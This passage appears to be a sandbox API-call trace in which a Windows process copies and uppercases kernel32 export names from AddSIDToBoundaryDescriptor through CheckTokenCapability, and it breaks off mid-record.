[0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0122.238] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0122.238] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0122.238] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0122.238] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0122.238] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0122.238] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0122.238] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0122.238] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0122.238] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0122.239] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0122.239] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0122.239] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0122.239] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0122.239] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0122.239] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0122.239] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0122.239] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0122.239] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0122.239] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0122.239] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0122.239] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0122.239] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0122.239] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0122.239] lstrlenA (lpString="BACKUPREAD") returned 10 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0122.239] lstrlenA (lpString="BACKUPSEEK") returned 10 [0122.239] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0122.239] lstrlenA (lpString="BACKUPWRITE") returned 11 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0122.240] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0122.240] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0122.240] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0122.240] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0122.240] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0122.240] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0122.240] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0122.240] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0122.240] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0122.240] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0122.240] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0122.240] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0122.240] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0122.240] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0122.240] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0122.240] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0122.240] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0122.241] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0122.241] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0122.241] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0122.241] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0122.241] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0122.241] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0122.241] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0122.241] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0122.241] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0122.241] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0122.241] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0122.241] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0122.241] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0122.241] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0122.242] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0122.242] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0122.242] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0122.242] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0122.242] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0122.242] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0122.242] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0122.242] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0122.242] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0122.242] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0122.242] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0122.242] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0122.242] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0122.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0122.243] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0122.243] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0122.243] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0122.243] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0122.243] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0122.243] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0122.243] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0122.243] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0122.243] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0122.243] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0122.243] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0122.243] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0122.243] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0122.243] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0122.243] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0122.243] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0122.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0122.244] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0122.244] lstrlenA (lpString="BEEP") returned 4 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0122.244] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0122.244] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0122.244] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0122.244] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0122.244] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0122.244] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0122.244] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0122.244] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0122.244] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0122.244] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0122.244] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0122.244] lstrlenA (lpString="CANCELIO") returned 8 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0122.244] lstrlenA (lpString="CANCELIOEX") returned 10 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0122.244] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0122.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0122.244] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0122.245] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0122.245] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0122.245] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0122.245] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0122.245] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0122.245] lstrlenA (lpString="CHECKELEVATION") returned 14 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0122.245] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0122.245] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0122.245] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0122.245] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0122.245] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0122.245] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0122.245] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0122.245] lstrcpyA 